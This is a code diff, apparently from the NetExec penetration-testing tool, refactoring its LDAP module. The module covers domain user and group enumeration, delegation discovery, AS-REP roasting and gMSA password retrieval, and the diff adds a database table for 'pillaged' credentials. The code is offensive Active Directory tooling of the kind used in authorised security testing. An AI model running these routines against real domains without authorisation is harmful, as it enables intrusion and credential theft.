if len(answers) == 0:
|
||||
self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.")
|
||||
return
|
||||
|
||||
# 3. get member of these groups
|
||||
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))"
|
||||
@@ -694,14 +649,15 @@ class ldap(connection):
|
||||
t /= 10000000
|
||||
return t
|
||||
|
||||
def search(self, searchFilter, attributes, sizeLimit=0):
|
||||
def search(self, searchFilter, attributes, sizeLimit=0) -> list:
|
||||
try:
|
||||
if self.ldapConnection:
|
||||
if self.ldap_connection:
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
|
||||
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
|
||||
paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)
|
||||
return self.ldapConnection.search(
|
||||
return self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=searchFilter,
|
||||
attributes=attributes,
|
||||
sizeLimit=sizeLimit,
|
||||
@@ -714,8 +670,8 @@ class ldap(connection):
|
||||
e.getAnswers()
|
||||
else:
|
||||
self.logger.fail(e)
|
||||
return False
|
||||
return False
|
||||
return []
|
||||
return []
|
||||
|
||||
def users(self):
|
||||
"""
|
||||
@@ -729,163 +685,169 @@ class ldap(connection):
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if len(self.args.users) > 0:
|
||||
if self.args.users:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
||||
else:
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter = "(sAMAccountType=805306368)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
# Default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
users = []
|
||||
|
||||
if resp:
|
||||
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
|
||||
users = parse_result_attributes(resp)
|
||||
# we print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
|
||||
parsed_pw_last_set = ""
|
||||
# We print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
|
||||
for user in resp_parse:
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set != "":
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
# we default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
|
||||
if pwd_last_set:
|
||||
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
# We default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}")
|
||||
users.append(user.get("sAMAccountName", ""))
|
||||
if self.args.users_export:
|
||||
self.logger.display(f"Writing {len(resp_parse):d} local users to {self.args.users_export}")
|
||||
with open(self.args.users_export, "w+") as file:
|
||||
file.writelines(f"{user}\n" for user in users)
|
||||
|
||||
def users_export(self):
|
||||
self.users()
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ["name"]
|
||||
if self.args.groups:
|
||||
self.logger.debug(f"Dumping group: {self.args.groups}")
|
||||
search_filter = f"(cn={self.args.groups})"
|
||||
attributes = ["member"]
|
||||
else:
|
||||
search_filter = "(objectCategory=group)"
|
||||
attributes = ["cn", "member"]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
if resp:
|
||||
self.logger.debug(f"Total of records returned {len(resp):d}")
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Total of records returned {len(resp):d}")
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
name = ""
|
||||
if self.args.groups:
|
||||
if not resp_parsed:
|
||||
self.logger.fail(f"Group {self.args.groups} not found")
|
||||
elif not resp_parsed[0]:
|
||||
self.logger.fail(f"Group {self.args.groups} has no members")
|
||||
else:
|
||||
# Fix if group has only one member
|
||||
if not isinstance(resp_parsed[0]["member"], list):
|
||||
resp_parsed[0]["member"] = [resp_parsed[0]["member"]]
|
||||
for user in resp_parsed[0]["member"]:
|
||||
self.logger.highlight(user.split(",")[0].split("=")[1])
|
||||
else:
|
||||
for item in resp_parsed:
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "name":
|
||||
name = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{name}")
|
||||
# Fix if group has only one member
|
||||
if not isinstance(item.get("member", []), list):
|
||||
item["member"] = [item["member"]]
|
||||
self.logger.highlight(f"{item['cn']:<40} membercount: {len(item.get('member', []))}")
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
return
|
||||
|
||||
def computers(self):
|
||||
resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["name"], 0)
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
|
||||
if resp:
|
||||
self.logger.display(f"Total records returned: {len(resp_parse)}")
|
||||
for item in resp_parse:
|
||||
self.logger.highlight(item["name"] + "$")
|
||||
|
||||
def dc_list(self):
|
||||
# Building the search filter
|
||||
resolv = resolver.Resolver()
|
||||
if self.args.dns_server:
|
||||
resolv.nameservers = [self.args.dns_server]
|
||||
else:
|
||||
resolv.nameservers = [self.host]
|
||||
resolv.timeout = self.args.dns_timeout
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(primaryGroupId=516))"
|
||||
attributes = ["dNSHostName"]
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
name = ""
|
||||
for item in resp_parse:
|
||||
name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "dNSHostName":
|
||||
name = str(attribute["vals"][0])
|
||||
try:
|
||||
ip_address = socket.gethostbyname(name.split(".")[0])
|
||||
if ip_address is not True and name != "":
|
||||
self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}")
|
||||
except socket.gaierror:
|
||||
self.logger.fail(f"{name} = Connection timeout")
|
||||
# Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records
|
||||
if name:
|
||||
found_record = False # Flag to check if any record is found
|
||||
|
||||
for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]:
|
||||
if found_record:
|
||||
break # If a record has been found, stop checking further
|
||||
|
||||
try:
|
||||
answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp)
|
||||
for rdata in answers:
|
||||
if record_type in ["A", "AAAA"]:
|
||||
ip_address = rdata.to_text()
|
||||
self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}")
|
||||
found_record = True # Set flag to true since a record is found
|
||||
elif record_type == "CNAME":
|
||||
self.logger.highlight(f"{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}")
|
||||
found_record = True
|
||||
elif record_type == "PTR":
|
||||
self.logger.highlight(f"{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}")
|
||||
found_record = True
|
||||
elif record_type == "NS":
|
||||
self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}")
|
||||
found_record = True
|
||||
except resolv.NXDOMAIN:
|
||||
self.logger.fail(f"{name} = Host not found (NXDOMAIN)")
|
||||
except resolv.Timeout:
|
||||
self.logger.fail(f"{name} = Connection timed out")
|
||||
except resolv.NoAnswer:
|
||||
self.logger.fail(f"{name} = DNS server did not respond")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{name} encountered an unexpected error: {e}")
|
||||
else:
|
||||
self.logger.fail("dNSHostName value is empty, unable to process.")
|
||||
except Exception as e:
|
||||
self.logger.fail("Exception:", exc_info=True)
|
||||
self.logger.fail(f"Skipping item, cannot process due to error {e}")
|
||||
self.logger.fail("General Error:", exc_info=True)
|
||||
self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}")
|
||||
|
||||
def active_users(self):
|
||||
if len(self.args.active_users) > 0:
|
||||
arg = True
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
else:
|
||||
arg = False
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter = "(sAMAccountType=805306368)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
# Default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
allusers = parse_result_attributes(resp)
|
||||
|
||||
count = 0
|
||||
activeusers = []
|
||||
argsusers = []
|
||||
if resp:
|
||||
all_users = parse_result_attributes(resp)
|
||||
# Filter disabled users (ignore accounts without userAccountControl value)
|
||||
active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)]
|
||||
|
||||
if arg:
|
||||
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
|
||||
users_args = parse_result_attributes(resp_args)
|
||||
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
|
||||
for i in range(len(self.args.active_users)):
|
||||
try:
|
||||
argsusers.append(users_args[i])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
else:
|
||||
argsusers = allusers
|
||||
self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
|
||||
|
||||
for user in allusers:
|
||||
user_account_control = user.get("userAccountControl")
|
||||
if user_account_control is not None: # Check if user_account_control is not None
|
||||
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
|
||||
account_disabled = int(account_control) & 2
|
||||
if not account_disabled:
|
||||
count += 1
|
||||
activeusers.append(user.get("sAMAccountName").lower())
|
||||
else:
|
||||
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
|
||||
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp_args:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
|
||||
for arguser in argsusers:
|
||||
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
|
||||
if pwd_last_set: # Checks if pwdLastSet is empty or not.
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
|
||||
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() in activeusers):
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
for user in active_users:
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set:
|
||||
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}")
|
||||
|
||||
def asreproast(self):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
return False
|
||||
|
||||
# Building the search filter
|
||||
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
||||
attributes = [
|
||||
@@ -1071,19 +1033,121 @@ class ldap(connection):
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.success(f"Response for object: {item['objectName']}")
|
||||
for attribute in item["attributes"]:
|
||||
attr = f"{attribute['type']}:"
|
||||
vals = str(attribute["vals"]).replace("\n", "")
|
||||
if "SetOf: " in vals:
|
||||
vals = vals.replace("SetOf: ", "")
|
||||
self.logger.highlight(f"{attr:<20} {vals}")
|
||||
for idx, entry in enumerate(resp_parsed):
|
||||
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
|
||||
for attribute in entry:
|
||||
if isinstance(entry[attribute], list) and entry[attribute]:
|
||||
# Display first item in the same line as attribute
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
|
||||
for item in entry[attribute]:
|
||||
self.logger.highlight(f"{'':<20} {item}")
|
||||
else:
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
|
||||
|
||||
def find_delegation(self):
|
||||
def printTable(items, header):
|
||||
colLen = []
|
||||
|
||||
# Calculating maximum lenght before parsing CN.
|
||||
for i, col in enumerate(header):
|
||||
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
|
||||
colLen.append(max(rowMaxLen, len(col)))
|
||||
|
||||
# Create the format string for each row
|
||||
outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)])
|
||||
|
||||
# Print header
|
||||
self.logger.highlight(outputFormat.format(*header))
|
||||
self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen]))
|
||||
|
||||
# Print rows
|
||||
for row in items:
|
||||
# Get first CN value.
|
||||
if "CN=" in row[1]:
|
||||
row[1] = row[1].split(",")[0].split("CN=")[-1]
|
||||
|
||||
# Added join for DelegationRightsTo
|
||||
row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3]
|
||||
|
||||
self.logger.highlight(outputFormat.format(*row))
|
||||
|
||||
# Building the search filter
|
||||
search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})"
|
||||
f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})"
|
||||
"(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"
|
||||
f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))")
|
||||
# f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs
|
||||
|
||||
attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory",
|
||||
"msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"]
|
||||
|
||||
resp = self.search(search_filter, attributes)
|
||||
answers = []
|
||||
self.logger.debug(f"Total of records returned {len(resp):d}")
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
|
||||
for item in resp_parse:
|
||||
sAMAccountName = ""
|
||||
userAccountControl = 0
|
||||
delegation = ""
|
||||
objectType = ""
|
||||
rightsTo = []
|
||||
protocolTransition = 0
|
||||
|
||||
try:
|
||||
sAMAccountName = item["sAMAccountName"]
|
||||
|
||||
userAccountControl = int(item["userAccountControl"])
|
||||
objectType = item.get("objectCategory")
|
||||
|
||||
# Filter out DCs, unconstrained delegation to DCs is not a useful information
|
||||
if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT:
|
||||
delegation = "Unconstrained"
|
||||
rightsTo.append("N/A")
|
||||
elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
|
||||
delegation = "Constrained w/ Protocol Transition"
|
||||
protocolTransition = 1
|
||||
|
||||
if item.get("msDS-AllowedToDelegateTo") is not None:
|
||||
if protocolTransition == 0:
|
||||
delegation = "Constrained"
|
||||
rightsTo = item.get("msDS-AllowedToDelegateTo")
|
||||
|
||||
# Not an elif as an object could both have RBCD and another type of delegation
|
||||
if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None:
|
||||
databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity")
|
||||
rbcdRights = []
|
||||
rbcdObjType = []
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte))
|
||||
if len(sd["Dacl"].aces) > 0:
|
||||
search_filter = "(&(|"
|
||||
for ace in sd["Dacl"].aces:
|
||||
search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")"
|
||||
search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))"
|
||||
delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"])
|
||||
delegUserResp_parse = parse_result_attributes(delegUserResp)
|
||||
|
||||
for rbcd in delegUserResp_parse:
|
||||
rbcdRights.append(str(rbcd.get("sAMAccountName")))
|
||||
rbcdObjType.append(str(rbcd.get("objectCategory")))
|
||||
|
||||
for rights, objType in zip(rbcdRights, rbcdObjType, strict=True):
|
||||
answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName])
|
||||
|
||||
if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]:
|
||||
answers.append([sAMAccountName, objectType, delegation, rightsTo])
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f"Skipping item, cannot process due to error {e}")
|
||||
|
||||
if answers:
|
||||
printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"])
|
||||
else:
|
||||
self.logger.fail("No entries found!")
|
||||
|
||||
def trusted_for_delegation(self):
|
||||
# Building the search filter
|
||||
@@ -1147,7 +1211,8 @@ class ldap(connection):
|
||||
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
|
||||
try:
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
resp = self.ldapConnection.search(
|
||||
resp = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=searchFilter,
|
||||
attributes=[
|
||||
"sAMAccountName",
|
||||
@@ -1274,7 +1339,8 @@ class ldap(connection):
|
||||
def gmsa(self):
|
||||
self.logger.display("Getting GMSA Passwords")
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=[
|
||||
"sAMAccountName",
|
||||
@@ -1282,7 +1348,6 @@ class ldap(connection):
|
||||
"msDS-GroupMSAMembership",
|
||||
],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
@@ -1327,11 +1392,11 @@ class ldap(connection):
|
||||
else:
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
@@ -1357,11 +1422,11 @@ class ldap(connection):
|
||||
gmsa_pass = gmsa[1]
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
gmsa_accounts = self.ldap_connection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table
|
||||
from sqlalchemy import func, Table, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.UsersTable = None
|
||||
self.HostsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
@@ -19,10 +21,14 @@ class database(BaseDB):
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "credentials" (
|
||||
"""CREATE TABLE "users" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"domain" text,
|
||||
"username" text,
|
||||
"password" text
|
||||
"password" text,
|
||||
"credtype" text,
|
||||
"pillaged_from_hostid" integer,
|
||||
FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id)
|
||||
)"""
|
||||
)
|
||||
|
||||
@@ -31,14 +37,15 @@ class database(BaseDB):
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer
|
||||
"domain" text,
|
||||
"os" text
|
||||
)"""
|
||||
)
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
|
||||
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
|
||||
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
@@ -49,3 +56,179 @@ class database(BaseDB):
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def add_host(self, ip, hostname, domain, os):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"ip": ip,
|
||||
"hostname": hostname,
|
||||
"domain": domain,
|
||||
"os": os
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host in results:
|
||||
host_data = host._asdict()
|
||||
# only update column if it is being passed in
|
||||
if ip is not None:
|
||||
host_data["ip"] = ip
|
||||
if hostname is not None:
|
||||
host_data["hostname"] = hostname
|
||||
if domain is not None:
|
||||
host_data["domain"] = domain
|
||||
# only add host to be updated if it has changed
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Update Hosts: {hosts}")
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
groups = []
|
||||
|
||||
if pillaged_from and not self.is_host_valid(pillaged_from):
|
||||
nxc_logger.debug("Invalid host")
|
||||
return
|
||||
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
new_cred = {
|
||||
"credtype": credtype,
|
||||
"domain": domain,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"pillaged_from": pillaged_from,
|
||||
}
|
||||
credentials = [new_cred]
|
||||
# update existing cred data
|
||||
else:
|
||||
for creds in results:
|
||||
# this will include the id, so we don't touch it
|
||||
cred_data = creds._asdict()
|
||||
# only update column if it is being passed in
|
||||
if credtype is not None:
|
||||
cred_data["credtype"] = credtype
|
||||
if domain is not None:
|
||||
cred_data["domain"] = domain
|
||||
if username is not None:
|
||||
cred_data["username"] = username
|
||||
if password is not None:
|
||||
cred_data["password"] = password
|
||||
if pillaged_from is not None:
|
||||
cred_data["pillaged_from"] = pillaged_from
|
||||
# only add cred to be updated if it has changed
|
||||
if cred_data not in credentials:
|
||||
credentials.append(cred_data)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
if groups:
|
||||
q_groups = Insert(self.GroupRelationsTable)
|
||||
|
||||
self.db_execute(q_groups, groups)
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
del_hosts = []
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
